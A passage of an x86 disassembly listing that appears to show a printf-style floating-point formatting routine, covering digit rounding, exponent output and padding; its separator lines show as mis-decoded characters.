dword ptr [ecx+edx], 0 jz short loc_80540EC loc_8054106: ; CODE XREF: sub_8053310+DCAj cmp esi, 1Fh jnz loc_8054234 mov eax, ebx sub eax, edi mov [ebp+var_9C], eax test eax, eax jle loc_8054229 mov edx, [ebp+var_20] mov [ebp+var_A4], edx lea ecx, ds:0[edi*4] mov [ebp+var_A0], ecx xor esi, esi shl eax, 2 mov [ebp+var_94], eax mov edx, [ebp+var_9C] and edx, 3 mov [ebp+var_9C], edx jz short loc_80541BA cmp edx, 1 jle short loc_8054194 cmp edx, 2 jle short loc_8054176 add ecx, [ebp+var_30] mov ecx, [ecx] mov eax, [ebp+var_A4] mov [eax], ecx add [ebp+var_A0], 4 mov esi, 4 loc_8054176: ; CODE XREF: sub_8053310+E4Bj mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax+esi], ecx add [ebp+var_A0], 4 add esi, 4 loc_8054194: ; CODE XREF: sub_8053310+E46j mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax+esi], ecx add [ebp+var_A0], 4 add esi, 4 cmp [ebp+var_94], esi jz short loc_8054229 loc_80541BA: ; CODE XREF: sub_8053310+E41j mov edx, [ebp+var_A4] add edx, esi mov [ebp+var_A4], edx loc_80541C8: ; CODE XREF: sub_8053310+F17j mov ecx, [ebp+var_A0] add ecx, [ebp+var_30] mov eax, [ecx] mov edx, [ebp+var_A4] mov [edx], eax mov ecx, [ebp+var_A0] add ecx, [ebp+var_30] mov eax, [ecx+4] mov [edx+4], eax mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx+8] mov eax, [ebp+var_A4] mov [eax+8], ecx mov edx, [ebp+var_A0] add edx, [ebp+var_30] mov ecx, [edx+0Ch] mov [eax+0Ch], ecx add [ebp+var_A0], 10h add eax, 10h mov [ebp+var_A4], eax add esi, 10h cmp [ebp+var_94], esi jnz short loc_80541C8 loc_8054229: ; CODE XREF: sub_8053310+E0Bj ; sub_8053310+EA8j sub ebx, edi mov [ebp+var_24], ebx jmp loc_80542D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054234: ; CODE XREF: sub_8053310+DF9j lea eax, ds:0[edi*4] mov edx, [ebp+var_30] mov [ebp+var_A4], edx bsf ecx, [edx+eax] mov [ebp+var_A0], ecx test edi, edi jnz short loc_805428C mov eax, 1Fh sub eax, esi cmp eax, ecx jle short loc_805429B inc esi mov [ebp+var_9C], esi push esi push ebx push edx mov eax, [ebp+var_20] push eax call sub_8058710 mov esi, eax mov [ebp+var_28], esi lea edx, [ebx+1] mov [ebp+var_24], edx lea ebx, ds:4[ebx*4] mov ecx, ebx add ecx, [ebp+var_20] mov [ecx-4], esi jmp short loc_80542D3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805428C: ; CODE XREF: sub_8053310+F40j mov eax, 1Fh sub eax, esi cmp [ebp+var_A0], eax jl short loc_80542B0 loc_805429B: ; CODE XREF: sub_8053310+F4Bj mov eax, 1Fh sub eax, esi push eax sub ebx, edi push ebx lea eax, ds:0[edi*4] jmp short loc_80542C3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80542B0: ; CODE XREF: sub_8053310+F89j mov eax, 1Fh sub eax, esi push eax inc ebx sub ebx, edi push ebx lea eax, ds:0FFFFFFFCh[edi*4] loc_80542C3: ; CODE XREF: sub_8053310+F9Dj add eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call sub_8059FB0 mov [ebp+var_24], ebx loc_80542D3: ; CODE XREF: sub_8053310+F7Aj add esp, 10h loc_80542D6: ; CODE XREF: sub_8053310+C7Bj ; sub_8053310+D6Dj ... dec [ebp+var_70] cmp [ebp+var_74], offset off_8068DBC jz short loc_80542EC cmp [ebp+var_18], 0 jg loc_8053F74 loc_80542EC: ; CODE XREF: sub_8053310+FD0j cmp [ebp+var_18], 0 jle loc_805438B push 0Ah mov eax, [ebp+var_24] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+var_30] push eax call sub_8058DE0 mov [ebp+var_28], eax mov ebx, [ebp+var_24] mov eax, [ebp+var_30] bsf esi, [eax] add esp, 10h cmp [ebp+var_18], 4 jg short loc_8054328 cmp [ebp+var_18], esi jg short loc_805432D jmp short loc_8054364 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054328: ; CODE XREF: sub_8053310+100Cj cmp esi, 3 jg short loc_8054364 loc_805432D: ; CODE XREF: sub_8053310+1011j mov esi, 1Ch cmp [ebp+var_18], 4 jg short loc_8054340 mov esi, 20h sub esi, [ebp+var_18] loc_8054340: ; CODE XREF: sub_8053310+1026j push esi push ebx mov eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call sub_8058710 mov esi, eax mov [ebp+var_28], esi add esp, 10h test esi, esi jz short loc_8054384 mov eax, [ebp+var_20] mov [eax+ebx*4], esi inc ebx jmp short loc_8054384 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054364: ; CODE XREF: sub_8053310+1013j ; sub_8053310+101Bj mov esi, 4 cmp [ebp+var_18], 4 jg short loc_8054372 mov esi, [ebp+var_18] loc_8054372: ; CODE XREF: sub_8053310+105Dj push esi push ebx mov eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call sub_8059FB0 add esp, 10h loc_8054384: ; CODE XREF: sub_8053310+1049j ; sub_8053310+1052j mov [ebp+var_24], ebx or byte ptr [ebp+var_6C], 1 loc_805438B: ; CODE XREF: sub_8053310+FE0j mov eax, [ebp+var_6C] mov [ebp+var_18], eax jmp short loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054394: ; CODE XREF: sub_8053310+C00j mov edx, [ebp+var_58] add edx, [ebp+var_18] push edx mov ecx, [ebp+var_24] push ecx lea eax, [ebp+var_44] push eax mov edx, [ebp+var_20] push edx call sub_8058710 mov ebx, eax mov [ebp+var_28], ebx mov ecx, [ebp+var_24] shl ecx, 2 mov [ebp+var_A0], ecx mov eax, [ebp+var_20] mov [eax+ecx], ebx inc [ebp+var_24] mov [ebp+var_18], 0 add esp, 10h loc_80543D0: ; CODE XREF: sub_8053310+7E9j ; sub_8053310+85Aj ... mov edx, [ebp+arg_4] mov edx, [edx+4] mov [ebp+var_78], edx mov [ebp+var_80], 0 mov [ebp+var_88], 0 mov ecx, [ebp+arg_4] movzx ebx, byte ptr [ecx+8] mov eax, dword_8078FA4 cmp dword ptr [eax+ebx*4], 65h jnz short loc_8054420 mov [ebp+var_14], ebx mov [ebp+var_7C], 1 mov esi, [ecx] test esi, esi jge short loc_8054411 mov esi, 6 loc_8054411: ; CODE XREF: sub_8053310+10FAj mov [ebp+var_84], esi mov ebx, esi add ebx, 8 jmp short loc_8054466 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054420: ; CODE XREF: sub_8053310+10EAj mov edx, [ebp+arg_4] cmp byte ptr [edx+8], 66h jnz short loc_8054480 mov [ebp+var_14], 66h mov esi, [edx] test esi, esi jge short loc_805443B mov esi, 6 loc_805443B: ; CODE XREF: sub_8053310+1124j mov [ebp+var_84], esi cmp [ebp+var_10], 0 jnz short loc_805445C mov ecx, [ebp+var_18] inc ecx mov [ebp+var_7C], ecx mov eax, esi add eax, 2 mov ebx, eax add ebx, [ebp+var_18] jmp short loc_8054466 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805445C: ; CODE XREF: sub_8053310+1135j mov [ebp+var_7C], 1 lea ebx, [esi+2] loc_8054466: ; CODE XREF: sub_8053310+110Cj ; sub_8053310+1148j mov [ebp+var_8C], 7FFFFFFFh mov [ebp+var_90], 1 jmp loc_8054550 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8054480: ; CODE XREF: sub_8053310+1117j mov edx, [ebp+arg_4] cmp dword ptr [edx], 0 jl short loc_80544A0 mov ecx, [edx] mov [ebp+var_8C], ecx test ecx, ecx jnz short loc_80544AA mov [ebp+var_8C], 1 jmp short loc_80544AA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80544A0: ; CODE XREF: sub_8053310+1176j mov [ebp+var_8C], 6 loc_80544AA: ; CODE XREF: sub_8053310+1182j ; sub_8053310+118Ej cmp [ebp+var_10], 0 jnz short loc_80544C0 mov eax, [ebp+var_8C] cmp [ebp+var_18], eax jge short loc_80544C6 jmp short loc_8054500 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80544C0: ; CODE XREF: sub_8053310+119Ej cmp [ebp+var_18], 4 jle short loc_8054500 loc_80544C6: ; CODE XREF: sub_8053310+11A9j mov edx, [ebp+arg_4] movzx edx, byte ptr [edx+8] mov ebx, 65h mov ecx, dword_8078FA0 test byte ptr [ecx+edx*2+1], 1 jz short loc_80544E4 mov ebx, 45h loc_80544E4: ; CODE XREF: sub_8053310+11CDj mov [ebp+var_14], ebx mov esi, [ebp+var_8C] dec esi mov [ebp+var_7C], 1 mov ebx, [ebp+var_8C] add ebx, 7 jmp short loc_805452D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054500: ; CODE XREF: sub_8053310+11ABj ; sub_8053310+11B4j mov [ebp+var_14], 66h mov [ebp+var_7C], 0 cmp [ebp+var_10], 0 jnz short loc_805451B mov eax, [ebp+var_18] inc eax mov [ebp+var_7C], eax loc_805451B: ; CODE XREF: sub_8053310+1202j mov esi, [ebp+var_8C] sub esi, [ebp+var_7C] mov ebx, [ebp+var_8C] add ebx, ebx inc ebx loc_805452D: ; CODE XREF: sub_8053310+11EEj mov [ebp+var_84], 0 mov edx, [ebp+arg_4] cmp dword ptr [edx+18h], 0 jz short loc_8054546 mov [ebp+var_84], esi loc_8054546: ; CODE XREF: sub_8053310+122Ej mov [ebp+var_90], 0 loc_8054550: ; CODE XREF: sub_8053310+116Aj cmp [ebp+var_50], 0 jz short loc_805456E mov ecx, [ebp+var_38] push ecx mov eax, [ebp+var_50] push eax mov edx, [ebp+var_7C] push edx call sub_8054C28 mov edi, eax add ebx, edi add esp, 0Ch loc_805456E: ; CODE XREF: sub_8053310+1244j lea eax, [ebx+5] and al, 0FCh sub esp, eax lea edi, [esp+164h+var_162] mov ebx, edi cmp [ebp+var_10], 0 jz short loc_805458B cmp [ebp+var_14], 66h jz loc_8054644 loc_805458B: ; CODE XREF: sub_8053310+126Fj mov ecx, [ebp+var_7C] cmp [ebp+var_80], ecx jge short loc_8054612 mov eax, ecx sub eax, [ebp+var_80] and eax, 3 mov [ebp+var_A4], eax jz short loc_80545DC cmp eax, 1 jle short loc_80545C7 cmp eax, 2 jle short loc_80545BA inc [ebp+var_80] mov ecx, ebp call sub_80531DC mov [ebx], al inc ebx loc_80545BA: ; CODE XREF: sub_8053310+129Bj inc [ebp+var_80] mov ecx, ebp call sub_80531DC mov [ebx], al inc ebx loc_80545C7: ; CODE XREF: sub_8053310+1296j inc [ebp+var_80] mov ecx, ebp call sub_80531DC mov [ebx], al inc ebx mov eax, [ebp+var_7C] cmp [ebp+var_80], eax jge short loc_8054612 loc_80545DC: ; CODE XREF: sub_8053310+1291j ; sub_8053310+1300j mov ecx, ebp call sub_80531DC mov [ebx], al mov ecx, ebp call sub_80531DC mov [ebx+1], al mov ecx, ebp call sub_80531DC mov [ebx+2], al add [ebp+var_80], 4 mov ecx, ebp call sub_80531DC mov [ebx+3], al add ebx, 4 mov edx, [ebp+var_7C] cmp [ebp+var_80], edx jl short loc_80545DC loc_8054612: ; CODE XREF: sub_8053310+1281j ; sub_8053310+12CAj mov [ebp+var_90], 1 mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_805464B cmp [ebp+var_84], 0 jg short loc_805464B test esi, esi jle short loc_8054651 cmp [ebp+var_24], 1 jg short loc_805464B mov eax, [ebp+var_20] cmp dword ptr [eax], 0 jz short loc_8054651 jmp short loc_805464B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054644: ; CODE XREF: sub_8053310+1275j mov byte ptr [ebx], 30h inc ebx dec [ebp+var_18] loc_805464B: ; CODE XREF: sub_8053310+1313j ; sub_8053310+131Cj ... mov al, byte ptr [ebp+var_34] mov [ebx], al inc ebx loc_8054651: ; CODE XREF: sub_8053310+1320j ; sub_8053310+132Ej mov eax, [ebp+var_84] cmp [ebp+var_88], eax jl short loc_8054676 cmp [ebp+var_88], esi jge short loc_80546C8 nop loc_8054668: ; CODE XREF: sub_8053310+13B6j cmp [ebp+var_24], 1 jg short loc_8054676 mov eax, [ebp+var_20] cmp dword ptr [eax], 0 jz short loc_80546C8 loc_8054676: ; CODE XREF: sub_8053310+134Dj ; sub_8053310+135Cj ... inc [ebp+var_88] mov ecx, ebp call sub_80531DC mov [ebx], al cmp al, 30h jz short loc_8054698 mov [ebp+var_90], 1 jmp short loc_80546B1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054698: ; CODE XREF: sub_8053310+1377j cmp [ebp+var_90], 0 jnz short loc_80546B1 inc esi cmp [ebp+var_84], 0 jle short loc_80546B1 inc [ebp+var_84] loc_80546B1: ; CODE XREF: sub_8053310+1383j ; sub_8053310+138Fj ... inc ebx mov edx, [ebp+var_84] cmp [ebp+var_88], edx jl short loc_8054676 cmp [ebp+var_88], esi jl short loc_8054668 loc_80546C8: ; CODE XREF: sub_8053310+1355j ; sub_8053310+1364j mov ecx, ebp call sub_80531DC movzx esi, al cmp esi, 34h jle loc_8054914 mov [ebp+var_A4], ebx cmp esi, 35h jnz short loc_80546FE cmp [ebp+var_24], 1 jnz short loc_80546FE mov eax, [ebp+var_20] cmp dword ptr [eax], 0 jnz short loc_80546FE test byte ptr [ebx-1], 1 jz loc_8054914 loc_80546FE: ; CODE XREF: sub_8053310+13D4j ; sub_8053310+13DAj ... cmp [ebp+var_88], 0 jle short loc_805474F dec [ebp+var_A4] mov ecx, [ebp+var_A4] movzx ecx, byte ptr [ecx] cmp [ebp+var_34], ecx jz short loc_805474F nop loc_805471C: ; CODE XREF: sub_8053310+1427j mov eax, [ebp+var_A4] cmp byte ptr [eax], 39h jnz short loc_8054739 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax movzx edx, byte ptr [eax] cmp [ebp+var_34], edx jnz short loc_805471C loc_8054739: ; CODE XREF: sub_8053310+1415j mov ecx, [ebp+var_A4] movzx ecx, byte ptr [ecx] cmp [ebp+var_34], ecx jz short loc_805474F mov eax, [ebp+var_A4] inc byte ptr [eax] loc_805474F: ; CODE XREF: sub_8053310+13F5j ; sub_8053310+1409j ... cmp [ebp+var_88], 0 jz short loc_805476A mov edx, [ebp+var_A4] movzx edx, byte ptr [edx] cmp [ebp+var_34], edx jnz loc_8054914 loc_805476A: ; CODE XREF: sub_8053310+1446j mov ecx, [ebp+var_A4] movzx ecx, byte ptr [ecx-1] cmp [ebp+var_34], ecx jnz short loc_805477F dec [ebp+var_A4] loc_805477F: ; CODE XREF: sub_8053310+1467j dec [ebp+var_A4] cmp [ebp+var_A4], edi jb loc_805485C lea edx, [edi-1] mov eax, edx sub eax, [ebp+var_A4] mov esi, eax and esi, 3 cmp [ebp+var_A4], edx jle short loc_80547E5 test esi, esi jz short loc_8054800 cmp esi, 3 jge short loc_80547E5 cmp esi, 2 jge short loc_80547D0 mov eax, [ebp+var_A4] cmp byte ptr [eax], 39h jnz loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax loc_80547D0: ; CODE XREF: sub_8053310+14A5j mov edx, [ebp+var_A4] cmp byte ptr [edx], 39h jnz short loc_8054846 mov byte ptr [edx], 30h dec edx mov [ebp+var_A4], edx loc_80547E5: ; CODE XREF: sub_8053310+1497j ; sub_8053310+14A0j mov ecx, [ebp+var_A4] cmp byte ptr [ecx], 39h jnz short loc_8054846 mov byte ptr [ecx], 30h dec ecx mov [ebp+var_A4], ecx cmp ecx, edi jb short loc_805485C lea esi, [esi] loc_8054800: ; CODE XREF: sub_8053310+149Bj ; sub_8053310+1534j mov eax, [ebp+var_A4] cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp byte ptr [eax], 39h jnz short loc_8054846 mov byte ptr [eax], 30h dec eax mov [ebp+var_A4], eax cmp eax, edi jnb short loc_8054800 loc_8054846: ; CODE XREF: sub_8053310+14B0j ; sub_8053310+14C9j ... cmp [ebp+var_A4], edi jb short loc_805485C mov edx, [ebp+var_A4] inc byte ptr [edx] jmp loc_8054914 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805485C: ; CODE XREF: sub_8053310+147Bj ; sub_8053310+14ECj ... cmp [ebp+var_14], 66h jz short loc_8054880 mov byte ptr [edi], 31h cmp [ebp+var_10], 0 jnz short loc_8054874 mov esi, [ebp+var_18] inc esi jmp short loc_8054878 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054874: ; CODE XREF: sub_8053310+1559j mov esi, [ebp+var_18] dec esi loc_8054878: ; CODE XREF: sub_8053310+155Fj mov [ebp+var_18], esi jmp short loc_80548F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054880: ; CODE XREF: sub_8053310+1550j mov ecx, [ebp+var_8C] cmp [ebp+var_80], ecx jnz short loc_80548EC dec edi mov al, byte ptr [ebp+var_34] mov [edi], al dec edi mov byte ptr [edi], 31h mov edx, [ebp+arg_4] cmp dword ptr [edx+18h], 0 jnz short loc_80548A7 cmp [ebp+var_88], 0 jle short loc_80548B5 loc_80548A7: ; CODE XREF: sub_8053310+158Cj mov ecx, [ebp+var_80] mov byte ptr [edi+ecx+2], 30h inc [ebp+var_88] loc_80548B5: ; CODE XREF: sub_8053310+1595j mov eax, [ebp+var_80] add [ebp+var_88], eax mov [ebp+var_80], 1 inc [ebp+var_18] mov edx, [ebp+arg_4] movzx edx, byte ptr [edx+8] mov esi, 65h mov ecx, dword_8078FA0 test byte ptr [ecx+edx*2+1], 1 jz short loc_80548E6 mov esi, 45h loc_80548E6: ; CODE XREF: sub_8053310+15CFj mov [ebp+var_14], esi jmp short loc_80548F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80548EC: ; CODE XREF: sub_8053310+1579j dec edi mov byte ptr [edi], 31h inc [ebp+var_80] loc_80548F3: ; CODE XREF: sub_8053310+156Bj ; sub_8053310+15D9j mov esi, [ebp+var_80] add esi, [ebp+var_88] cmp [ebp+var_8C], esi jge short loc_8054914 mov eax, esi sub eax, [ebp+var_8C] sub ebx, eax sub [ebp+var_88], eax loc_8054914: ; CODE XREF: sub_8053310+13C5j ; sub_8053310+13E8j ... mov eax, [ebp+var_84] cmp [ebp+var_88], eax jle short loc_805493F lea esi, [esi] loc_8054924: ; CODE XREF: sub_8053310+162Dj cmp byte ptr [ebx-1], 30h jnz short loc_805493F dec ebx dec [ebp+var_88] mov edx, [ebp+var_84] cmp [ebp+var_88], edx jg short loc_8054924 loc_805493F: ; CODE XREF: sub_8053310+1610j ; sub_8053310+1618j cmp [ebp+var_88], 0 jnz short loc_805495B mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_805495B movzx eax, byte ptr [ebx-1] cmp [ebp+var_34], eax jnz short loc_805495B dec ebx loc_805495B: ; CODE XREF: sub_8053310+1636j ; sub_8053310+163Fj ... cmp [ebp+var_50], 0 jz short loc_8054979 mov eax, [ebp+var_38] push eax mov edx, [ebp+var_50] push edx mov ecx, [ebp+var_80] push ecx push ebx push edi call sub_8054C7C mov ebx, eax add esp, 14h loc_8054979: ; CODE XREF: sub_8053310+164Fj cmp [ebp+var_14], 66h jz loc_8054A32 mov al, byte ptr [ebp+var_14] mov [ebx], al inc ebx mov esi, ebx inc ebx mov byte ptr [ebp+var_A4], 2Bh cmp [ebp+var_10], 0 jz short loc_80549A0 mov byte ptr [ebp+var_A4], 2Dh loc_80549A0: ; CODE XREF: sub_8053310+1687j mov al, byte ptr [ebp+var_A4] mov [esi], al mov [ebp+var_A0], 0Ah mov edx, [ebp+var_A0] cmp [ebp+var_18], edx jl short loc_80549DA db 8Dh,76h,0 ; lea esi, [esi+0] loc_80549C0: ; CODE XREF: sub_8053310+16C8j mov ecx, [ebp+var_A0] lea ecx, [ecx+ecx*8] add [ebp+var_A0], ecx mov eax, [ebp+var_A0] cmp [ebp+var_18], eax jge short loc_80549C0 loc_80549DA: ; CODE XREF: sub_8053310+16ABj cmp [ebp+var_18], 9 jg short loc_80549E8 mov byte ptr [ebx], 30h inc ebx jmp short loc_8054A29 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80549E8: ; CODE XREF: sub_8053310+16CEj ; sub_8053310+1717j mov eax, [ebp+var_A0] mov ecx, 0Ah cdq idiv ecx mov [ebp+var_A0], eax mov esi, [ebp+var_18] mov eax, esi cdq idiv [ebp+var_A0] mov esi, eax add al, 30h mov [ebx], al inc ebx mov esi, [ebp+var_18] mov eax, esi cdq idiv [ebp+var_A0] mov esi, edx mov [ebp+var_18], esi cmp [ebp+var_A0], 0Ah jg short loc_80549E8 loc_8054A29: ; CODE XREF: sub_8053310+16D4j mov cl, byte ptr [ebp+var_18] add cl, 30h mov [ebx], cl inc ebx loc_8054A32: ; CODE XREF: sub_8053310+166Dj cmp [ebp+var_3C], 0 jnz short loc_8054A47 mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_8054A47 cmp dword ptr [eax+1Ch], 0 jz short loc_8054A4A loc_8054A47: ; CODE XREF: sub_8053310+1726j ; sub_8053310+172Fj dec [ebp+var_78] loc_8054A4A: ; CODE XREF: sub_8053310+1735j mov edx, ebx sub edx, edi sub [ebp+var_78], edx mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jnz short loc_8054A8C cmp byte ptr [ecx+2Ch], 30h jz short loc_8054A8C cmp [ebp+var_78], 0 jle short loc_8054A8C mov eax, [ebp+var_78] push eax movzx edx, byte ptr [ecx+2Ch] push edx mov ecx, [ebp+arg_0] push ecx call sub_8062534 mov esi, eax add esp, 0Ch cmp [ebp+var_78], esi jnz loc_8054BD6 mov eax, [ebp+var_78] add [ebp+var_5C], eax loc_8054A8C: ; CODE XREF: sub_8053310+1748j ; sub_8053310+174Ej ... cmp [ebp+var_3C], 0 jz short loc_8054ACC mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_8054AB8 push 2Dh push ecx loc_8054AA3: ; CODE XREF: sub_8053310+17D6j ; sub_8053310+1806j call sub_8061910 mov esi, eax add esp, 8 cmp esi, 0FFFFFFFFh jz loc_8054BD6 jmp short loc_8054B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054AB8: ; CODE XREF: sub_8053310+178Ej mov eax, [ebp+arg_0] mov eax, [eax+14h] mov byte ptr [eax], 2Dh mov edx, [ebp+arg_0] inc dword ptr [edx+14h] jmp short loc_8054B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054ACC: ; CODE XREF: sub_8053310+1780j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jz short loc_8054AFC mov eax, [ebp+arg_0] mov eax, [eax+14h] mov edx, [ebp+arg_0] cmp [edx+18h], eax ja short loc_8054AE8 push 2Bh push edx jmp short loc_8054AA3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054AE8: ; CODE XREF: sub_8053310+17D1j mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov byte ptr [ecx], 2Bh mov eax, [ebp+arg_0] inc dword ptr [eax+14h] jmp short loc_8054B27 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054AFC: ; CODE XREF: sub_8053310+17C3j mov edx, [ebp+arg_4] cmp dword ptr [edx+1Ch], 0 jz short loc_8054B2A mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov eax, [ebp+arg_0] cmp [eax+18h], ecx ja short loc_8054B18 push 20h push eax jmp short loc_8054AA3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054B18: ; CODE XREF: sub_8053310+1801j mov edx, [ebp+arg_0] mov edx, [edx+14h] mov byte ptr [edx], 20h mov ecx, [ebp+arg_0] inc dword ptr [ecx+14h] loc_8054B27: ; CODE XREF: sub_8053310+17A6j ; sub_8053310+17B7j ... inc [ebp+var_5C] loc_8054B2A: ; CODE XREF: sub_8053310+17F3j mov eax, [ebp+arg_4] cmp dword ptr [eax+20h], 0 jnz short loc_8054B5E cmp byte ptr [eax+2Ch], 30h jnz short loc_8054B5E cmp [ebp+var_78], 0 jle short loc_8054B5E mov edx, [ebp+var_78] push edx push 30h mov ecx, [ebp+arg_0] push ecx call sub_8062534 mov esi, eax add esp, 0Ch cmp [ebp+var_78], esi jnz short loc_8054BD6 mov eax, [ebp+var_78] add [ebp+var_5C], eax loc_8054B5E: ; CODE XREF: sub_8053310+1821j ; sub_8053310+1827j ... sub ebx, edi cmp ebx, 14h jle short loc_8054BE3 mov edx, [ebp+arg_0] mov edx, [edx+50h] push ebx push edi mov ecx, [ebp+arg_0] push ecx mov eax, [edx+34h] call eax mov esi, eax add esp, 0Ch cmp esi, ebx jnz 